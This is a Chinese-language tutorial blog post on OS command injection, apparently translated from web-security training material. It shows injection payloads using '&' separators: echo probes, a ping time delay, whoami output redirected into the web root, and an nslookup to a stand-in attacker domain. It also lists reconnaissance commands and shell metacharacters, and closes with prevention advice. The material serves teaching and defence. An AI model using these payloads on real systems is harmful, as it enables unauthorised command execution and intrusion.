(八)OS命令注入

什么是OS命令注入?

操作系统命令注入(也称为外壳程序注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意操作系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏托管基础结构的其他部分,利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。可通过以下网址访问此信息:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种旧系统。出于历史原因,该功能是通过使用产品和存储ID作为参数调用shell命令来实现的:

stockreport.pl 381 29

此命令输出指定项目的库存状态,并返回给用户。

由于该应用程序没有针对OS命令注入的防御措施,因此攻击者可以提交以下输入以执行任意命令:

& echo aiwefwlguh &

如果此输入是通过productID参数提交的,则应用程序执行的命令为:

stockreport.pl & echo aiwefwlguh & 29

该echo命令仅使提供的字符串在输出中回显,并且是测试某些类型的OS命令注入的有用方法。该&字符是一个shell命令分隔符,因此执行的实际上是一个接一个的三个独立命令。结果,返回给用户的输出为:

Error - productID was not provided
aiwefwlguh
29: command not found

输出的三行表明:

stockreport.pl执行 原始命令时没有预期的参数,因此返回了错误消息。
echo执行 注入的命令,并在输出中回显提供的字符串。
原始参数29作为命令执行,从而导致错误。

&通常, 将附加命令分隔符放置在注入的命令之后是很有用的,因为它会将注入的命令与注入点后面的内容分开。这减少了随后发生的事情将阻止注入的命令执行的可能性。

以下是在Linux和Windows平台上有用的一些命令的摘要:

命令目的LinuxWindows
当前用户名whoamiwhoami
操作系统uname -aver
网络配置ifconfigipconfig /all
网络连接netstat -annetstat -an
运行过程ps -eftasklist

盲操作系统命令注入漏洞

OS命令注入的许多实例都是盲目的漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲目漏洞仍然可以被利用,但是需要不同的技术。

考虑一个网站,该网站可以让用户提交有关该网站的反馈。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。为此,它mail使用提交的详细信息调出程序。例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令 的输出(如果有)不会在应用程序的响应中返回,因此使用echo有效负载将无效。在这种情况下,您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

可以使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。该ping命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,从而指定该命令运行所花费的时间:

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

通过重定向输出来利用盲目的OS命令注入

可以将注入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器进行检索。例如,如果应用程序从文件系统location提供静态资源/var/www/static,则可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

的>字符发送从所述输出whoami命令指定的文件。然后,您可以使用浏览器来获取https://vulnerable-website.com/whoami.txt文件,并查看注入命令的输出。

利用带外(OAST)技术利用盲目的OS命令注入

可以使用注入的命令,通过OAST技术触发与您控制的系统的带外网络交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。

注入OS命令的方式

各种外壳元字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符,从而允许将命令链接在一起。以下命令分隔符在Windows和基于Unix的系统上均可使用:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅在基于Unix的系统上工作:

  • ;
  • 换行符(0x0a或\n)

在基于Unix的系统上,还可以使用反引号或美元字符在原始命令内对注入的命令执行内联执行:

  • ` 注入命令 `
  • $( 注入命令 )

请注意,不同的外壳元字符具有细微不同的行为,这些行为可能会影响它们是否在某些情况下有效,以及它们是否允许带内检索命令输出或仅对盲目使用有用。

有时,我们控制的输入会出现在原始命令的引号中。在这种情况下,我们需要在使用适当的外壳元字符插入新命令之前终止加引号的上下文(使用"或’)

如何防止OS命令注入攻击

到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。

如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

切勿尝试通过转义外壳元字符来清理输入。实际上,这太容易出错,容易被熟练的攻击者绕开。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值